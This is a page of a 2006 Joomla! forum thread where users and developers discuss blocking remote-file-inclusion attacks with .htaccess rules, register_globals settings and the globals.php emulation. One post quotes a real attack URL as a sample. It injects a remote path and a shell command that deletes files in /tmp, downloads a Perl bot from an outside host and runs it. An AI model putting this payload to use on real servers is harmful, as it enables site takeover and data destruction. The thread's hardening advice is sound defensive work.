Joomla! Discussion Forums



It is currently Thu Nov 26, 2009 4:06 pm (All times are UTC )

 


Forum rules

Forum Rules
Absolute Beginner's Guide to Joomla! <-- please read before posting, this means YOU.
Security Checklist
Forum Post Assistant - If you are serious about wanting help, you will use this tool to help you post.



Post new topic Reply to topic  [ 235 posts ]  Go to page Previous  1, 2, 3, 4, 5 ... 8  Next
Author Message
Posted: Mon Jul 10, 2006 8:42 am 
User avatar
Joomla! Master
Joomla! Master
Offline

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 11698
Location: **Translation Matters**
Please, send details to robs by pm.
No use to post them here in the open.

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr · GMT +1
Qui vult dare parva non debet magna rogare.
---------------------------------
Joomla! Translation Coordination Team


Top
  E-mail  
 
Posted: Mon Jul 10, 2006 8:44 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Mon Dec 05, 2005 10:17 am
Posts: 1318
Location: New Orleans, LA, USA
Yeah, that would probably be a wiser choice.  If you are having trouble finding the section you can send me the whole log and make sure you let me know between what times this happened so I can limit my search. 

_________________
Rob Schley - Open Source Matters
Webimagery - http://www.webimagery.net/ - Professional Consulting Services
JXtended - http://www.jxtended.com/ - Free and Commercial Joomla! Extensions


Top
  E-mail  
 
Posted: Mon Jul 10, 2006 8:56 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Sat Sep 10, 2005 10:31 pm
Posts: 823
RobS wrote:
Honestly, I am not up to date on the function of globals.php.  I hadn't really looked at what it does/how it works.  I will have to read up on it.  As for the comment on the $_REQUEST array, I included it I guess as double protection against scripts like this:

Code:
/index.php?_REQUEST=&_REQUEST%5boption%5d=com_content&_REQUEST%5bItemid%
5d=1&GLOBALS=&mosConfig_absolute_path=http://bbs.mbig.cn/tool.gif?&cmd=cd%20/tmp/;rm%20-rf%20*;fetch%
20http://bbs.mbig.cn/bt.pl;wget%20http://bbs.mbig.cn/bt.pl;curl%20-O%20http://bbs.mbig.cn/bt.pl;perl%20bt.pl;perl%
20bt.pl.1;perl%20bt.pl.2?



I can see your point. I think it would be better to block this in globals.php though, because that applies to all users, not only those with the modified .htaccess. Might be worth considering.

RobS wrote:
And from what I understand you can access $_COOKIE through $_REQUEST which might be worth attempting to protect against to prevent some kind of session hijacking via hand crafted cookie values.


Not that I know of. Please let me know if I'm wrong on that.
The other way around ($_REQUEST from $COOKIE) works though.

_________________
We may not be able to control the wind, but we can always adjust our sails


Top
   
 
Posted: Mon Jul 10, 2006 9:00 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Mon Dec 05, 2005 10:17 am
Posts: 1318
Location: New Orleans, LA, USA
From http://www.php.net/manual/en/reserved.variables.php

Quote:
Request variables: $_REQUEST

Note: Introduced in 4.1.0. There is no equivalent array in earlier versions.

Note: Prior to PHP 4.3.0, $_FILES information was also included in $_REQUEST.

An associative array consisting of the contents of $_GET, $_POST, and $_COOKIE.


I took that to mean you can access $_COOKIE through $_REQUEST

_________________
Rob Schley - Open Source Matters
Webimagery - http://www.webimagery.net/ - Professional Consulting Services
JXtended - http://www.jxtended.com/ - Free and Commercial Joomla! Extensions


Top
  E-mail  
 
Posted: Mon Jul 10, 2006 9:11 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Sat Sep 10, 2005 10:31 pm
Posts: 823
RobS wrote:
I took that to mean you can access $_COOKIE through $_REQUEST


Maybe we are talking about the same thing? (Or maybe just a language related misunderstanding? - English is not my native language)
GET data, POST data and COOKIE data are merged into $_REQUEST. From my understanding, this would be best described as "users can access $_REQUEST from e.g. $_COOKIE".

_________________
We may not be able to control the wind, but we can always adjust our sails


Top
   
 
Posted: Mon Jul 10, 2006 9:16 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Thu Sep 08, 2005 11:56 am
Posts: 10
albi wrote:
I used it at one of my sites ith no success

the site was hacked last night.

I think thay used the vulnerability at extcalendar but i m not sure about this

http://forum.joomla.org/index.php/topic ... #msg389163



I think you are right, it also happened to me with the latest joomla version 1.10
any ideas?

http://www.matik.nl (got hacked)


Top
  E-mail  
 
Posted: Mon Jul 10, 2006 9:35 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Mon Dec 05, 2005 10:17 am
Posts: 1318
Location: New Orleans, LA, USA
friesengeist wrote:
RobS wrote:
I took that to mean you can access $_COOKIE through $_REQUEST


Maybe we are talking about the same thing? (Or maybe just a language related misunderstanding? - English is not my native language)
GET data, POST data and COOKIE data are merged into $_REQUEST. From my understanding, this would be best described as "users can access $_REQUEST from e.g. $_COOKIE".


That is understandable but I think it means the opposite to what you are thinking.  $_REQUEST is an associative array consisting of the whatever content is in the arrays $_GET, $_POST, and $_COOKIE.  It says while referring to $_REQUEST, "An associative array consisting of the contents of ..." meaning the contents of $_REQUEST is the same as the contents of $_GET, $_POST, and $_COOKIE combined.

_________________
Rob Schley - Open Source Matters
Webimagery - http://www.webimagery.net/ - Professional Consulting Services
JXtended - http://www.jxtended.com/ - Free and Commercial Joomla! Extensions


Top
  E-mail  
 
Posted: Mon Jul 10, 2006 9:45 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Sat Sep 10, 2005 10:31 pm
Posts: 823
RobS wrote:
That is understandable but I think it means the opposite to what you are thinking.  $_REQUEST is an associative array consisting of the whatever content is in the arrays $_GET, $_POST, and $_COOKIE.  It says while referring to $_REQUEST, "An associative array consisting of the contents of ..." meaning the contents of $_REQUEST is the same as the contents of $_GET, $_POST, and $_COOKIE combined.


OK, than we are talking about exactly the same thing ;)

_________________
We may not be able to control the wind, but we can always adjust our sails


Top
   
 
Posted: Mon Jul 10, 2006 9:51 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Mon Dec 05, 2005 10:17 am
Posts: 1318
Location: New Orleans, LA, USA
nielsg wrote:
albi wrote:
I used it at one of my sites ith no success

the site was hacked last night.

I think thay used the vulnerability at extcalendar but i m not sure about this

http://forum.joomla.org/index.php/topic ... #msg389163


I think you are right, it also happened to me with the latest joomla version 1.10
any ideas?

http://www.matik.nl (got hacked)


If you have access to your log files, send them to me via personal message along with approximately when the site got cracked and I will look into it.  If they won't fit in a PM due to size/length, PM me and I will give you my email address.  On a side note, I really like the design of your site.  It is very neat.

_________________
Rob Schley - Open Source Matters
Webimagery - http://www.webimagery.net/ - Professional Consulting Services
JXtended - http://www.jxtended.com/ - Free and Commercial Joomla! Extensions


Last edited by RobS on Mon Jul 10, 2006 9:55 am, edited 1 time in total.

Top
  E-mail  
 
Posted: Mon Jul 10, 2006 5:30 pm 
User avatar
Joomla! Explorer
Joomla! Explorer
Offline

Joined: Fri Aug 19, 2005 12:47 pm
Posts: 268
I just e-mailed to you my log files
Used the hotmail e-mail you have at your profile.
The log files are 552kb

Thanks

_________________
Demetris Dimarelis
http://www.joomalb.com, Albanian Support site for Joomal | Joomla ne Shqip
http://www.e-orama.com, Web Services & Internet Marketing in Greece & Albania


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 1:33 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Fri Feb 03, 2006 2:20 am
Posts: 47
Hi guys,
My sites (many of them) have been hacked over the first weekend of the July. I am glad to see any attempt to help block these vicious attacks.

I have employed this code in one of my sites and was wondering if there are any scripts simulating any such attacks available which I can use to test this code resistance?
TIA,

JD


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 4:17 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Mon Dec 05, 2005 10:17 am
Posts: 1318
Location: New Orleans, LA, USA
I updated the rules again to include conditions to match the exploits being used against com_simpleboard 1.1.0.

_________________
Rob Schley - Open Source Matters
Webimagery - http://www.webimagery.net/ - Professional Consulting Services
JXtended - http://www.jxtended.com/ - Free and Commercial Joomla! Extensions


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 6:45 am 
User avatar
Joomla! Master
Joomla! Master
Offline

Joined: Fri Aug 12, 2005 3:47 pm
Posts: 11698
Location: **Translation Matters**
jdude wrote:
Hi guys,
My sites (many of them) have been hacked over the first weekend of the July. I am glad to see any attempt to help block these vicious attacks.

I have employed this code in one of my sites and was wondering if there are any scripts simulating any such attacks available which I can use to test this code resistance?
TIA,

JD


We can't obviously post such a code here.
Thank you for your understanding.

_________________
Jean-Marie Simonet / infograf · http://www.info-graf.fr · GMT +1
Qui vult dare parva non debet magna rogare.
---------------------------------
Joomla! Translation Coordination Team


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 7:45 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Wed Aug 17, 2005 11:26 pm
Posts: 869
Please keep in mind that every .htaccess directive adds to server loads. Not only can they impact on your site performance, but several sites on a shared server running large .htaccess files are likely to get into strife with web hosts.

For nearly all the reported attacks so far, only two simple changes are necessary.

1. Turn register_globals OFF. 
You can ask your host to do this (it is a server-wide setting in php.ini) and if they will not, then people who have sites that run PHP as an Apache module can add the following to their .htaccess:

Code:
php_flag register_globals off


If you have components that require register_globals, you can use the Joomla globals.php emulation.  This emulates register_globals on while protecting from vulnerabilities if it is enabled through your server space.

If you are running your site under CGI then the .htaccess directive given above may not work for you. You will need to ask your host for assistance with turning register_globals OFF.

Please Note: register_globals is not, in itself, a security issue. However, some scripts have not been written to correctly sanitise input and use an "easy" globals option that leaves security holes. For those scripts, turning register_globals off will either protect them or break them.
If they break, please contact the script developer for a fix, or change scripts.

2. All Joomla extensions should be checked to ensure that all files contain the default:
Code:
// Don't allow direct linking
defined( '_VALID_MOS' ) or die( 'Direct Access to this location is not allowed.' );

Many of the intrusions have been because the 3rd party extensions allow direct access to the php code.

Additionally: To stop external access directly to components or modules you could also add this to your htaccess - it makes every access condtional on someone actually being on your site.
Note: I use this to stop content in wrappers being directly accessed from outside of the site itself, and have not tried it on components, but it should work just the same.

Code:
# Blocking direct access
RewriteCond %{HTTP_REFERER} !^http://www.domain.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://domain.com/.*$ [NC]
RewriteCond %{REQUEST_URI} ^.*index\\.php$
RewriteRule .* - [F]


Replacing domain.com with your domain, of course!

_________________
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 7:57 am 
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Fri Feb 03, 2006 2:20 am
Posts: 47
infograf768 wrote:
We can't obviously post such a code here.
Thank you for your understanding.


Thanks for the reply. I sort of did know that posting a malicious hack code on this forum will not be possible, but what I really meant was that if there is any way to test this .htaccess tweak?

I know there are some sites (symantec,...) which will run a web-based activeX or Java program on demand to test the firewall and anti-virus functionality on a local computer and was hoping to find a similar service from a well known security firm which can test more serious security issues.
Regards,

JD


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 8:27 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Mon Dec 05, 2005 10:17 am
Posts: 1318
Location: New Orleans, LA, USA
Try something like http://www.yourdomain.com/components/co ... /blarg.com

That is one of the recent vulnerabilities found in simple board and that information is available at security lists etc...

You should receieve a 403 Forbidden error

_________________
Rob Schley - Open Source Matters
Webimagery - http://www.webimagery.net/ - Professional Consulting Services
JXtended - http://www.jxtended.com/ - Free and Commercial Joomla! Extensions


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 12:31 pm 
User avatar
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Nov 28, 2005 5:00 pm
Posts: 32
Location: Mumbai, India
Quote:
Try putting this code in your .htaccess I have not tested this though.  It might work it might not, it depends on how php is configured I imagine.

php_flag register_globals off


I tried it on my website, but it gives me 500 Internal Server Error, hence I had to remove this.

_________________
A man is not finished when he is defeated,
He is finished when he quits


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 12:41 pm 
User avatar
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Nov 28, 2005 5:00 pm
Posts: 32
Location: Mumbai, India
Elpie wrote:
For nearly all the reported attacks so far, only two simple changes are necessary.

Turn register_globals OFF. 

people who have sites that run PHP as an Apache module can add the following to their .htaccess:

Code:
php_flag register_globals off




This gave 500 Internal server error to me, hence I had to remove.

Quote:
Additionally: To stop external access directly to components or modules you could also add this to your htaccess - it makes every access condtional on someone actually being on your site.
Note: I use this to stop content in wrappers being directly accessed from outside of the site itself, and have not tried it on components, but it should work just the same.

Code:
# Blocking direct access
RewriteCond %{HTTP_REFERER} !^http://www.domain.com/.*$ [NC]
RewriteCond %{HTTP_REFERER} !^http://domain.com/.*$ [NC]
RewriteCond %{REQUEST_URI} ^.*index\\.php$
RewriteRule .* - [F]


Replacing domain.com with your domain, of course!


This I have applied and site is OK. Lets wait & watch for any hacking attempts.

_________________
A man is not finished when he is defeated,
He is finished when he quits


Last edited by Joomlamahesh on Tue Jul 11, 2006 12:44 pm, edited 1 time in total.

Top
  E-mail  
 
Posted: Tue Jul 11, 2006 12:51 pm 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Wed Aug 17, 2005 11:26 pm
Posts: 869
There are three things to look for if php_flag register_globals off throws up a 500 server error.
First - does your server allow AllowOverride Options? Some hosts may not give you those privileges, so your only option then is to ask your host to do it for you.

Are you running PHP as an Apache module? If you are running on phpSuExec or any other CGI option, the htaccess directive for register_globals won't work.

Did you edit your .htaccess file directly on your server or did you download, edit and upload? If you edit .htaccess locally make sure you use something like EditPad Lite (free) or some other editor that allows you to write the file and save in UNIX format. Windows and Macintosh editors often insert special characters that may corrupt the .htaccess file and make your site unreachable.

_________________
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 12:59 pm 
User avatar
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Nov 28, 2005 5:00 pm
Posts: 32
Location: Mumbai, India
I am not aware about the allowoverride option set by my host. But PHP is not run as apache module and I edited the file directly on the server so that there is no question of any other character.

_________________
A man is not finished when he is defeated,
He is finished when he quits


Last edited by Joomlamahesh on Tue Jul 11, 2006 1:01 pm, edited 1 time in total.

Top
  E-mail  
 
Posted: Tue Jul 11, 2006 1:07 pm 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Wed Aug 17, 2005 11:26 pm
Posts: 869
Ok, sorry, but the php_flag directive will only work when PHP is run as an Apache module (that is, it is run under Apache, not on CGI).

_________________
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 6:45 pm 
User avatar
Joomla! Explorer
Joomla! Explorer
Offline

Joined: Fri Aug 19, 2005 12:47 pm
Posts: 268
Joomlamahesh wrote:
Elpie wrote:
For nearly all the reported attacks so far, only two simple changes are necessary.

Turn register_globals OFF. 

people who have sites that run PHP as an Apache module can add the following to their .htaccess:

Code:
php_flag register_globals off




This gave 500 Internal server error to me, hence I had to remove.

[quote]
Maybe your server run phpsuexec
this give you this error
in this case you create an php.ini file with this

register_globals = Off

and upload it in the root folder

_________________
Demetris Dimarelis
http://www.joomalb.com, Albanian Support site for Joomal | Joomla ne Shqip
http://www.e-orama.com, Web Services & Internet Marketing in Greece & Albania


Top
  E-mail  
 
Posted: Tue Jul 11, 2006 7:38 pm 
User avatar
Joomla! Virtuoso
Joomla! Virtuoso
Offline

Joined: Fri Aug 19, 2005 3:03 pm
Posts: 4724
Location: Indiana, USA
okay, here is my issue with getting register_globals OFF.

my server is running phpsuexec, which will not allow the
php_flag register_globals off
line in my .htaccess file.

so, i made a local php.ini file with the code
register_globals = Off

when i go to the backend of my site and go to system-->system info,
register globals is on.
i go to php info tag,
shows master php.ini file and local php.ini file, register_globals is on.


when i browse to a php page with the content:
Code:
<?php
phpinfo()
?>


It shows that register_globals is OFF for both local and master.


Why is Joomla! getting them the variable turned back on? any assistance?

_________________
If you're new to Joomla, Please read Anna's Joomla! Tips: viewtopic.php?t=5503

http://nathandiehl.com | Find out what makes me tick


Top
   
 
Posted: Tue Jul 11, 2006 11:56 pm 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Wed Aug 17, 2005 11:26 pm
Posts: 869
Ok, people need to be aware that for the php_flag method of turning register_globals off  it requires two things.

The web host MUST allow .htaccess overrides (some don't), and
The site MUST be running with PHP under Apache.

Additional point: the directive needs to be written differently if your site is running Apache 2.

500 server errors usually mean there is a configuration error - ie. the code you entered may not have been entered correctly.
See my earlier post where I mention UNIX-friendly editors. Notepad and Wordpad should not be used for writing/editing .htaccess files.
Your server logs are really your best friend here as they will show exactly what has caused the 500 internal server error.

Now, the second issue, which also relates to what nathandiehl has mentioned with his CGI method, is this...

If you are on Apache 2.x or if your host has disabled local Apache directives in .htaccess, you will most likely NOT get an error, but your changes will have no effect. If you are unsure about whether your host will allow your .htaccess directives to run, please ask them.

Do NOT assume your .htaccess is protecting you. You need to check the output of the php.ini to ensure register_globals has indeed been turned off.

Anyone running Robs htaccess directives needs to keep a close eye on your server logs to ensure there are no unintended consequences. Remember, the .htaccess file at your server root applies to the root directory and all directories under it.

_________________
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info


Top
  E-mail  
 
Posted: Wed Jul 12, 2006 12:00 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Wed Aug 17, 2005 11:26 pm
Posts: 869
nathandiehl wrote:
Why is Joomla! getting them the variable turned back on? any assistance?


This is most likely not Joomla, Nathan. If your host has the server set up so it does not allow register_globals to be turned off locally, you wont get an error, the directive just won't work. It is something you need to ask your host.

_________________
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info


Top
  E-mail  
 
Posted: Wed Jul 12, 2006 2:21 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Wed Aug 17, 2005 11:26 pm
Posts: 869
With so many people trying to add .htaccess directives at the moment, I decided to write a brief guide to .htaccess that I hope may help.
If you go to the forum link in my sig and look at the FAQ's, you will see the guide.
It may help explain some of the issues that have been discussed here.

_________________
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info


Top
  E-mail  
 
Posted: Wed Jul 12, 2006 3:24 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Sat Sep 10, 2005 10:31 pm
Posts: 823
Elpie wrote:
1. Turn register_globals OFF. 
You can ask your host to do this (it is a server-wide setting in php.ini) and if they will not, then people who have sites that run PHP as an Apache module can add the following to their .htaccess:

Code:
php_flag register_globals off



Elpie, thanks for promoting "register_globals = off" and bringing this to the attention of other users! There are way to few people who do that! Of course I'm in favour of having RG off, too.

Elpie wrote:
If you have components that require register_globals, you can use the Joomla globals.php emulation.  This emulates register_globals on while protecting from vulnerabilities if it is enabled through your server space.


I think you are missing one point here:
If you have the php RG setting switched off, it's harder for crackers to get in through files without the "defined ('_VALID_MOS') or die" statement. But many attacks can also be conducted through Joomla!. For example, having RG off serverwide but having Joomla! emulate RG=on, the latest hole in ExtCalendar could still be exploited! (For details please PM me). Edit: I might have been a bit to fast on concluding this. But still, it is always better to have RG off.

So for the future, please tell people to also switch RG emulation in Joomla! off.



@everyone:
Edit the file /globals.php. Change line 17 from:
Code:
define( 'RG_EMULATION', 1 );

to:
Code:
define( 'RG_EMULATION', 0 );


This won't break Joomla! core components, but might break 3PD components.

_________________
We may not be able to control the wind, but we can always adjust our sails


Last edited by friesengeist on Wed Jul 12, 2006 4:08 am, edited 1 time in total.

Top
   
 
Posted: Wed Jul 12, 2006 4:36 am 
User avatar
Joomla! Apprentice
Joomla! Apprentice
Offline

Joined: Mon Nov 28, 2005 5:00 pm
Posts: 32
Location: Mumbai, India
After going through everything, I asked my hosts to turn the Register Global = OFF , explaining them the need to do serverwide setting, for which they immediately agreed and changed the RG to OFF. Lets hope that this prevents some major attacks throgh various exploits.

Elpie wrote:


500 server errors usually mean there is a configuration error - ie. the code you entered may not have been entered correctly.

Now, the second issue, which also relates to what nathandiehl has mentioned with his CGI method, is this...

If you are on Apache 2.x or if your host has disabled local Apache directives in .htaccess, you will most likely NOT get an error, but your changes will have no effect. If you are unsure about whether your host will allow your .htaccess directives to run, please ask them.

Do NOT assume your .htaccess is protecting you. You need to check the output of the php.ini to ensure register_globals has indeed been turned off.


When I make certain changes like to my .htaccess file, for incorrect settings, it gives me 500 Internal Server error. Does that mean my .htaccess is working properly ?

_________________
A man is not finished when he is defeated,
He is finished when he quits


Last edited by Joomlamahesh on Wed Jul 12, 2006 5:01 am, edited 1 time in total.

Top
  E-mail  
 
Posted: Wed Jul 12, 2006 5:04 am 
User avatar
Joomla! Ace
Joomla! Ace
Offline

Joined: Mon Dec 05, 2005 10:17 am
Posts: 1318
Location: New Orleans, LA, USA
If you were to misspell something in your .htaccess file and Apache freaked out, yes, it is parsing your .htaccess file and it should therefore be working properly.

_________________
Rob Schley - Open Source Matters
Webimagery - http://www.webimagery.net/ - Professional Consulting Services
JXtended - http://www.jxtended.com/ - Free and Commercial Joomla! Extensions


Top
  E-mail  
 
Posted: Wed Jul 12, 2006 5:19 am 
User avatar
Joomla! Guru
Joomla! Guru
Offline

Joined: Wed Aug 17, 2005 11:26 pm
Posts: 869
Joomlamahesh wrote:
When I make certain changes like to my .htaccess file, for incorrect settings, it gives me 500 Internal Server error. Does that mean my .htaccess is working properly ?


Not necessarily.
A 500 server error means one of two things - either the directive you have entered has a mistake in the syntax (that is, an error in the way it was written) OR your host has not permitted certain directives to be run in .htaccess.

There are differences between Apache 1.x and Apache 2.x that require directives to be handled a little differently, so knowing which version of Apache is running is important too.

Much depends on the way a host sets AllowOverrides in the server settings (getting errors is actually a good sign as it tells us that your host allows at least some directives to be written in .htaccess). 

I am not trying to direct traffic to my site, but there is a Guide to .htaccess in the FAQ's at Mambo Guru (use the forum link in my sig) that may help explain all this. I will talk to the mods here about posting this as a FAQ on Joomla.

_________________
For Mambo assistance: http://forum.mambo-foundation.org
Open Source Research & Best Practice: http://osprojects.info


Top
  E-mail  
 
Display posts from previous:  Sort by  
Post new topic Reply to topic  [ 235 posts ]  Go to page Previous  1, 2, 3, 4, 5 ... 8  Next

Quick reply

 



Who is online

Users browsing this forum: No registered users and 16 guests


You cannot post new topics in this forum
You cannot reply to topics in this forum
You cannot edit your posts in this forum
You cannot delete your posts in this forum
You cannot post attachments in this forum

Jump to:  
Powered by phpBB © 2000, 2002, 2005, 2007 phpBB Group